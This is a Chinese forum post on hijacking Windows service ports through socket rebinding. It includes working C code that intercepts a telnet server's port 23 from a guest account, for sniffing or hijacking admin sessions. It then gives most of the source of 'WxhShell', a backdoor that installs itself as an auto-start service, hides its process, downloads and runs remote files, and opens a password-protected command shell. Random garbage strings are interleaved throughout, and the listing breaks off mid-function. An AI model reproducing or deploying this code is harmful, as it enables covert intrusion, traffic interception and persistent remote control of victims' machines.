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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z#GZvB/z)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "'-f?kZ  
JadXdK=gE  
  saddr.sin_family = AF_INET; LHKawEZ  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); phwk0J]2  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "zL<:TQ"  
<i`Ipj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =l&7~  
y} AkF2:  
  这意味着什么?意味着可以进行如下的攻击: mu04TPj  
3D[IZ^%VtM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `omZ'n)  
*xA&t)z(i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R @b[o7/  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZJ'#XZpr  
Eic/#j{4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ko*Ir@SDv  
kJq8"Klg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L;H(I@p(e  
7NV1w*> /  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |"?0H#  
[>Z~& cm  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A#RA;Dt:  
'J#u ;KJ  
  #include E$=!l{Ms  
  #include i-~HT4iw  
  #include z{Z'2,#  
  #include    4*d$o=wa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {<o_6 z`$  
  int main() yNi/JM  
  { .&=nP?ZPC6  
  WORD wVersionRequested; fI;6!M#  
  DWORD ret; T?{"T/  
  WSADATA wsaData; 7'z{FS S  
  BOOL val; w`&~m:R  
  SOCKADDR_IN saddr; \ " {+J  
  SOCKADDR_IN scaddr; k?3NF:Yy7  
  int err; vdAaqM6D  
  SOCKET s; }&Ngh4/  
  SOCKET sc; }p$>V,u  
  int caddsize; w,> ceu/  
  HANDLE mt; xDG8C39qrs  
  DWORD tid;   gUwg\>UC  
  wVersionRequested = MAKEWORD( 2, 2 ); zMxHJNQ\D  
  err = WSAStartup( wVersionRequested, &wsaData ); wZ6LiYiHl  
  if ( err != 0 ) { _so\h.lt  
  printf("error!WSAStartup failed!\n"); v8W.84e-  
  return -1; @ U xO!  
  } FM$XMD0=  
  saddr.sin_family = AF_INET; x;dyF_*;  
   2'Cwx-_G`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .;)7)%  
W0J d2*]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RT HD2  
  saddr.sin_port = htons(23); 0sM{yGu=,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SB0Cq  
  { =7wI/5iN  
  printf("error!socket failed!\n"); l8 k@.<nCO  
  return -1; F=!p7msRB  
  } luRtuXn[8  
  val = TRUE; |N/Grk4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GM=r{F &  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) | s%--W  
  { XUc(7>k  
  printf("error!setsockopt failed!\n"); )0 UVT[7  
  return -1; uP2e/a  
  } dU<\ FW_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b6Pi:!4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wO9|_.Z{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ej,j1iB  
FOVghq@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /I}#0}  
  { :_V9Jwu  
  ret=GetLastError(); PKFjM~J  
  printf("error!bind failed!\n"); Evu`e=LaG  
  return -1; ,r^zDlS<q  
  } KM li!.(b  
  listen(s,2); k%Dpy2uH  
  while(1) KK$t3e)  
  { ZFwUau  
  caddsize = sizeof(scaddr); uNSaw['0j  
  //接受连接请求 CAg~K[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Tq{+9+  
  if(sc!=INVALID_SOCKET) rYez$e^r  
  { 9'+Eu)l:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d1]CN6 7{G  
  if(mt==NULL) z,dh?%H>X  
  { )tYu3*'  
  printf("Thread Creat Failed!\n"); !*Ex}K99  
  break; 9/2VU< K  
  } San3^uX  
  } *g7BR`Bt]z  
  CloseHandle(mt); mbT4K8<^  
  } X.}i9a 6  
  closesocket(s); X<G"Ga L  
  WSACleanup(); 3{c6)vR2  
  return 0; .5$"qb ?  
  }   iB4`w\-o  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0C!f/EZK  
  { rSu+zS7`X  
  SOCKET ss = (SOCKET)lpParam; E$O-\)wY0  
  SOCKET sc; -YvnX0j+  
  unsigned char buf[4096]; !UHWCJ< <w  
  SOCKADDR_IN saddr; -)N, HAM>  
  long num; FK;3atrz  
  DWORD val; ,GO H8h  
  DWORD ret; w{F{7X$^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |ppG*ee  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "06t"u<%  
  saddr.sin_family = AF_INET; I;xSd.-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j-]`;&L  
  saddr.sin_port = htons(23); 7pPaHX8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h;TN$ /  
  { 9-:\ NH^;  
  printf("error!socket failed!\n"); [vv $"$z  
  return -1; ,X`w/ 2O  
  } <|-da&7  
  val = 100; T)c<tIr6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,J;Cb}  
  { tzIcR #Z  
  ret = GetLastError(); CghlyT  
  return -1; \-?0ab3Z  
  } Cb}I-GtO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ehTrjb3k  
  {  zSd!n  
  ret = GetLastError(); Ww=^P{q\  
  return -1; w'uB&z4'  
  } 6W\G i>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LX'z7fh  
  { {,NF'x4$  
  printf("error!socket connect failed!\n"); [?>\]  
  closesocket(sc); s5s'[<  
  closesocket(ss); -v %n@8p  
  return -1; px${ "K<  
  } S:(YZ%#  
  while(1) "ov270:  
  { iW%~>`tT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xeNj@\jdC5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NH aY&\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /SW*y@R2l  
  num = recv(ss,buf,4096,0); '3|fv{I  
  if(num>0) { )g $  
  send(sc,buf,num,0); !jWE^@P/B  
  else if(num==0) s$gR;su)g  
  break; aS! If>  
  num = recv(sc,buf,4096,0); !i>d04u`%  
  if(num>0) ]\Z8MxFD  
  send(ss,buf,num,0); -DuI 6K  
  else if(num==0) 'fjouO  
  break; fI v?HD:j  
  } !!k^M"e2  
  closesocket(ss); p>N8g#G  
  closesocket(sc); % * k`z#b  
  return 0 ; H\fsyxM7  
  } *^oL$_Y  
Z% DJ{!Hnh  
q6'Q-e)  
========================================================== !8e;3W  
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下边附上一个代码,,WXhSHELL ~pT1,1  
}el7@Gv  
========================================================== E1j3c :2  
bWgRGJqt  
#include "stdafx.h" X5pb9zRq  
Xp+lpVcJ  
#include <stdio.h> r;^%D(  
#include <string.h> r2*8.j51  
#include <windows.h> NkV81?  
#include <winsock2.h> A?bqDy  
#include <winsvc.h> 9.%t9RM^  
#include <urlmon.h> i E?yvtr8  
W) Ct*I^  
#pragma comment (lib, "Ws2_32.lib") UgL FU#  
#pragma comment (lib, "urlmon.lib") A.vf)hO  
,!40\"A  
#define MAX_USER   100 // 最大客户端连接数 Z;<:=#  
#define BUF_SOCK   200 // sock buffer ?9;CC]D  
#define KEY_BUFF   255 // 输入 buffer lc8g$Xw3  
%*NED zy  
#define REBOOT     0   // 重启 ff;~k?L  
#define SHUTDOWN   1   // 关机 P;`Awp?  
D0Mxl?S?  
#define DEF_PORT   5000 // 监听端口 &,P; 7R  
]Twyj  
#define REG_LEN     16   // 注册表键长度 I_m3|VCa|t  
#define SVC_LEN     80   // NT服务名长度 5Gs>rq" #  
G@KDRv  
// 从dll定义API TSD7R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : *XAQb0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RFLfvD<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uc,MZV4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0xx4rp H  
<+-=j  
// wxhshell配置信息 "}"/d(  
struct WSCFG { qSGM6kb  
  int ws_port;         // 监听端口 !1Hs;K  
  char ws_passstr[REG_LEN]; // 口令 :R`e<g~4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5 JlgnxRq  
  char ws_regname[REG_LEN]; // 注册表键名 m lxtey6H3  
  char ws_svcname[REG_LEN]; // 服务名 k`;d_eW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '?jsH+j+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tI@aRF=p]2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iZLy#5(St  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '4Jf[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #M||t|9iu?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J'ZC5Xr  
xL*J9&~iG  
}; >$tU @mq  
H C=ZcK'W  
// default Wxhshell configuration !?>QN'p.b  
struct WSCFG wscfg={DEF_PORT, vV xw*\`<6  
    "xuhuanlingzhe", 2-DG6\QX|  
    1, U)xebU.!S  
    "Wxhshell", }h sNsQ   
    "Wxhshell", nU' qE  
            "WxhShell Service", DS;\24>H  
    "Wrsky Windows CmdShell Service", K&n-(m%  
    "Please Input Your Password: ", ttdY]+Fj  
  1, Y0Tad?iC  
  "http://www.wrsky.com/wxhshell.exe", a4.w2GR  
  "Wxhshell.exe" n"`V| UTHP  
    }; :tbgX;tCs5  
5S8>y7knQ  
// 消息定义模块 qw$9i.Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <S=( `D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MhR`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RcO"k3J  
char *msg_ws_ext="\n\rExit."; tfe]=_U  
char *msg_ws_end="\n\rQuit."; 0%Le*C'yk  
char *msg_ws_boot="\n\rReboot..."; F b?^+V]9  
char *msg_ws_poff="\n\rShutdown..."; (3K3)0fy  
char *msg_ws_down="\n\rSave to "; &l0K~7)b  
t=X=",)f  
char *msg_ws_err="\n\rErr!"; HE35QH@/`  
char *msg_ws_ok="\n\rOK!"; W+GC3W   
Vz$xV!  
char ExeFile[MAX_PATH]; :._Igjj$=  
int nUser = 0; I-/>M/66  
HANDLE handles[MAX_USER]; 4Z>gK(  
int OsIsNt; sfipAM  
qFK.ULgP`  
SERVICE_STATUS       serviceStatus; ht*(@MCr<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \i/HHP[%  
~&<t++ g  
// 函数声明 eM{u>n+`F0  
int Install(void); ?QmtZG.$  
int Uninstall(void); !qp$Xtf+  
int DownloadFile(char *sURL, SOCKET wsh); "0uM%*2  
int Boot(int flag); .;Mb4"7=  
void HideProc(void); (~eS$8>.  
int GetOsVer(void); 6lCpf1>6@  
int Wxhshell(SOCKET wsl); jC_'6sc`  
void TalkWithClient(void *cs); cE:s\hG  
int CmdShell(SOCKET sock); Ufl\ uq3'H  
int StartFromService(void); {ZrlbDQX  
int StartWxhshell(LPSTR lpCmdLine); :A z lls  
S't9F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c+&Kq.~K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?$K-f:?c  
S9Oz5_x  
// 数据结构和表定义 Dm{Xd+Y  
SERVICE_TABLE_ENTRY DispatchTable[] = o5p{ O>D[z  
{ -N% V5 TN  
{wscfg.ws_svcname, NTServiceMain}, hcj]T?  
{NULL, NULL} ]:#=[ CH  
}; J/jkb3  
\?]U*)B.r  
// 自我安装 )2RRa^=&  
int Install(void) >t)Pcf|s  
{ 'KIT^k0"Ih  
  char svExeFile[MAX_PATH]; C{}PO u  
  HKEY key; bJetqF6 n  
  strcpy(svExeFile,ExeFile); Mib .,J~  
eM_;rMCr}  
// 如果是win9x系统,修改注册表设为自启动 [:.wCG5  
if(!OsIsNt) { !p/SX>NJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i_Hm?Bi!F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { PX&#,_  
  RegCloseKey(key); m=sEB8P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {h|<qfH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); },j |eA/W  
  RegCloseKey(key); &n;*'M  
  return 0; {QM rgyQ E  
    } A[uE#T ^  
  } )I[f(f%W7  
} [:{ FR2*x  
else { 8 7(t<3V&  
{ 7jim  
// 如果是NT以上系统,安装为系统服务 a51e~mg Z`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !Pw*p*z  
if (schSCManager!=0) |dLr #+'az  
{ wYf\!]}'  
  SC_HANDLE schService = CreateService ;O% H]oN  
  ( \KnRQtlI  
  schSCManager, TdgK.g 4  
  wscfg.ws_svcname, O\.^H/  
  wscfg.ws_svcdisp, %h@1lsm1+  
  SERVICE_ALL_ACCESS, !{r2`d09n)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @Suz-j(H  
  SERVICE_AUTO_START, f]8MdYX(  
  SERVICE_ERROR_NORMAL,  Rpgg :  
  svExeFile, !nSa4U,$w<  
  NULL, +Q u.86dH  
  NULL, M i& ;1!bg  
  NULL, ]B,tCBt  
  NULL, >Xk42zvqn  
  NULL v']_)  
  ); 6&os`!  
  if (schService!=0) {lWVH  
  { m;~}}~&vQ  
  CloseServiceHandle(schService); GMJ4v S  
  CloseServiceHandle(schSCManager); 0TmEa59P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $KYGQP  
  strcat(svExeFile,wscfg.ws_svcname); WVRIq'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `s)4F~aVo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V?j,$LixY  
  RegCloseKey(key); )vS0Au^C~  
  return 0; g %mCg P  
    } )]j3-#  
  } (DO'iCxlNh  
  CloseServiceHandle(schSCManager); s{@R|5  
} G<e+sDQ2  
} 4W" A*A  
\1!Q.V  
return 1; %`C*8fc&  
} E`oA(x7l  
-`I|=lBz{H  
// 自我卸载 MvpJ0Y (  
int Uninstall(void) RG{T\9]n  
{ zuLW'a6F-  
  HKEY key; K khuPBd2  
Nu6NyYs  
if(!OsIsNt) { ?Z 2,?G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iSCkV2  
  RegDeleteValue(key,wscfg.ws_regname); ZU`9]7"87B  
  RegCloseKey(key); Ax&!Nz+?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gS~H1Ro  
  RegDeleteValue(key,wscfg.ws_regname); _=~u\$  
  RegCloseKey(key); p[C"K0>:_F  
  return 0; P:'wSE91  
  } D!~ Y"4<  
} Qp:I[:Lr;  
} xn3 _ ED  
else { i]r(VKX  
9(^UchZZi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8X7??f1;Y  
if (schSCManager!=0) -x+3nb|.  
{ Rlewp8?LB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hN2A%ds*(j  
  if (schService!=0) }qiZ%cT.G  
  { %XG m\p  
  if(DeleteService(schService)!=0) { 5)RZJrN]  
  CloseServiceHandle(schService); !d N[9}  
  CloseServiceHandle(schSCManager); mLuNl^)3  
  return 0; =sYILe[  
  } U*[E+Uq}:N  
  CloseServiceHandle(schService); l1 Kv`v\  
  } 0$)Q@#  
  CloseServiceHandle(schSCManager); PyQ .B*JJ  
} lD,2])>  
} +]%S}<R  
T'5{p  
return 1; |Mq+QDTTw~  
} b)I-do+  
5*$yY-A  
// 从指定url下载文件 O=2|'L'h!  
int DownloadFile(char *sURL, SOCKET wsh) I_<VGU k  
{ 6j(/uF4!#  
  HRESULT hr; n4k q=Z%  
char seps[]= "/"; ^!1!l-  
char *token; ">bhxXeiN  
char *file; ZIx-mC5  
char myURL[MAX_PATH]; zTg\\z;  
char myFILE[MAX_PATH]; XZIapT  
'|IcL1c=I  
strcpy(myURL,sURL); (!nkv^]  
  token=strtok(myURL,seps); yNns6  
  while(token!=NULL) }YDi/b7  
  { 5tlR rf  
    file=token; 1tNL)x"w  
  token=strtok(NULL,seps); % Ln`c.C  
  } :.x(( FU  
"|8oFf)l@B  
GetCurrentDirectory(MAX_PATH,myFILE);  aO&U=!  
strcat(myFILE, "\\"); DC8#b`j  
strcat(myFILE, file); L0g+RohW  
  send(wsh,myFILE,strlen(myFILE),0); [KK |_  
send(wsh,"...",3,0); MLWHO$C~T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N1~bp?$1  
  if(hr==S_OK) y&$n[j  
return 0; }emUpju<C  
else 7_\sx7h{3  
return 1; Yj&Sb  
e"04jd/  
} 9[.HWe,  
P-\f-FS  
// 系统电源模块 -+WAaJ(b  
int Boot(int flag) {zb'Z Yz  
{ cZh0\Dy U  
  HANDLE hToken; ! UT'4Fs  
  TOKEN_PRIVILEGES tkp; ;@ePu  
c|?(>  
  if(OsIsNt) { ~tp]a]yV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uos8Mav{E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]@$^Ju,  
    tkp.PrivilegeCount = 1; cLZ D\1Mt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~~/,2^   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RAO+<m  
if(flag==REBOOT) { ETHcZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z&%i"IY  
  return 0; m# {'9 |  
} '8q3ub<\  
else { r{ R-X3s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P~\rP6 ;  
  return 0; MRLiiIrq,5  
} B"GC|}N )v  
  } :'p)xw4K|  
  else { *J-pAN  
if(flag==REBOOT) { G8M~}I/)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3:WqUb\QK  
  return 0; %OBW/Ti  
} =<n ]T;  
else { V+`kB3GV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gRY#pRT6d  
  return 0; << 6 GE  
} Cf[tNq  
} roS" q~GS,  
c]9gf\WW  
return 1; Zy(i_B-b  
} V"#0\ |]m  
ahl|N`  
// win9x进程隐藏模块 gnp.!-  
void HideProc(void) t=P+m   
{ c-$rB_t+  
\}b2 oiY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =z# trQ{  
  if ( hKernel != NULL ) 9+ 1{a.JO  
  { #`SAc`:n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CPJ<A,V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S\:^#Yi`  
    FreeLibrary(hKernel); %L.S~dN6  
  } Ux_tzd0!  
-N' (2'  
return; xv]z>4@z,  
} [7@blU  
/]U$OP*0  
// 获取操作系统版本 ,l>w9?0Z  
int GetOsVer(void) E'WXi!>7p  
{ MJ:c";KCq0  
  OSVERSIONINFO winfo; /!Rva"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2|,$#V=  
  GetVersionEx(&winfo); nd' D0<%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p.W7>o,[w  
  return 1; oywiX@]~7  
  else P#A,(Bke3  
  return 0; fV"Y/9}(  
} I1 ]YT  
t1Ts!Q2  
// 客户端句柄模块 ? $B4'wc5  
int Wxhshell(SOCKET wsl) 6{+yAsI  
{ L2VwW  
  SOCKET wsh; @)b'3~ D  
  struct sockaddr_in client; ko}& X=  
  DWORD myID; ; <FAc R  
 %j&vV>2  
  while(nUser<MAX_USER) +-!3ruwSn  
{ d*6f,z2=  
  int nSize=sizeof(client); ?AFb&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }U7IMONU  
  if(wsh==INVALID_SOCKET) return 1; b~.$1oZ  
) 9Q+07  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,kJ'_mq  
if(handles[nUser]==0) ,l&?%H9q  
  closesocket(wsh); Gpu[<Z4  
else s,_+5ukv  
  nUser++; K28L(4)  
  } I$"Z\c8;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .F ?ww}2p]  
/gu VA  
  return 0; ?xaUWD  
} ;2kQ)Bq"  
2VV>?s  
// 关闭 socket 6/;YS[jX  
void CloseIt(SOCKET wsh) +C`!4v\n  
{ 1EV bGe%b  
closesocket(wsh); v/ry" W  
nUser--; 7@{%S~TN  
ExitThread(0); ^JY {<   
} 1L <TzQ  
U 4d7-&U  
// 客户端请求句柄 dC6>&@ VX  
void TalkWithClient(void *cs) I!/EQO|  
{ O<vBuD2  
9':Ipf&x  
  SOCKET wsh=(SOCKET)cs; G!FdTvx$  
  char pwd[SVC_LEN]; n~lB}  
  char cmd[KEY_BUFF]; _h1bVd-  
char chr[1]; Sj ovL@X  
int i,j; ho>@ $9  
!8p>4|VM  
  while (nUser < MAX_USER) { xI<l1@  
'wPX.h?  
if(wscfg.ws_passstr) { ^$oa`B^2JM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k)knyEUi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nDn+lWA=g  
  //ZeroMemory(pwd,KEY_BUFF); gxhp7c182  
      i=0; 'N{1b_v?  
  while(i<SVC_LEN) { 6O/L~Z*t  
~;(\a@ _  
  // 设置超时 cEHpa%_5  
  fd_set FdRead; z 4}"oQk:r  
  struct timeval TimeOut; *$7^.eHfdd  
  FD_ZERO(&FdRead); %ZRv+}z  
  FD_SET(wsh,&FdRead); Xf;!w:u  
  TimeOut.tv_sec=8; G:e=9qTf  
  TimeOut.tv_usec=0; yl>^QMmo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3JD62wtx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;*5z&1O  
Dml?.-Uv<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9?Bh8%$  
  pwd=chr[0]; hEjvtfM9\-  
  if(chr[0]==0xd || chr[0]==0xa) { \WE/#To  
  pwd=0; 0faf4LzU!  
  break; NL.3qx  
  } ok--Jyhv#  
  i++; ]Z[3 \~?  
    } A]"6/Lr9P  
2\{/|\  
  // 如果是非法用户,关闭 socket 7'+`vt#E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G$ zY&  
} gB#!g@  
bHTf{=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C=c&.-Nb9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e|A=sCN-  
tln}jpCw  
while(1) { ~a=]w#-KD  
Q-, 4  
  ZeroMemory(cmd,KEY_BUFF); o<b  
djf8FNnn  
      // 自动支持客户端 telnet标准   fwtsr>SV  
  j=0; `mkOjsj &  
  while(j<KEY_BUFF) { '!X`X=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pz2E+o  
  cmd[j]=chr[0]; }Bh\N 5G%  
  if(chr[0]==0xa || chr[0]==0xd) { '1!%yKc0  
  cmd[j]=0; S%p,.0_  
  break; :SFf}  
  } x^3K=l;N  
  j++; }f> 81[^  
    } aQhT*OT{Q  
<mLU-'c@  
  // 下载文件 v-$X1s  
  if(strstr(cmd,"http://")) { !6.LSY,E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bjUe+ #BL  
  if(DownloadFile(cmd,wsh)) "7 alpjwb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2aivc,m{r  
  else &}gH!5L m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fk^DkV^<  
  } 3Mh_ &%!O  
  else { o)\EfPT  
[Qkj}  
    switch(cmd[0]) { Pd:tRY+t/  
  ]I~BgE;C9  
  // 帮助 5'Mw{`  
  case '?': { U&kdR+dB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mn\L55?E(  
    break; sC.cMZe  
  } W[!bF'- 10  
  // 安装 n\JSt}A  
  case 'i': { TFc/`  
    if(Install()) C 1HNcfa7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R{4[.  
    else wj$3 L3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=f,4Zbj  
    break; #6AcM"  
    } '@^<c#h]=  
  // 卸载 :)_P7k`>e/  
  case 'r': { Ft2 ZZ<As  
    if(Uninstall()) yOjTiVQ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .R+n}>+K  
    else USf;}F:-C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KG5B6Om5'  
    break; ng2yZ @$  
    } 78z/D|{"  
  // 显示 wxhshell 所在路径 Se/]J<]  
  case 'p': { !Je!;mEvI  
    char svExeFile[MAX_PATH]; q[Y* .%~  
    strcpy(svExeFile,"\n\r"); YWhS<}^  
      strcat(svExeFile,ExeFile); h" YA>_1  
        send(wsh,svExeFile,strlen(svExeFile),0); b#e|#!Je  
    break; @(st![i+  
    } Q!Dr3x  
  // 重启 Izfj 9h ?  
  case 'b': { +DT)7 koA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xI=[=;L  
    if(Boot(REBOOT)) #5kg3OO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5o~AUo{  
    else { h1_KZ[X  
    closesocket(wsh); jK=-L#hz  
    ExitThread(0); d~d~Cd`V  
    } ]s_BOt  
    break; a67NWH  
    } Xo4K!U>TzZ  
  // 关机 fl9J  
  case 'd': { N'5!4JUI  
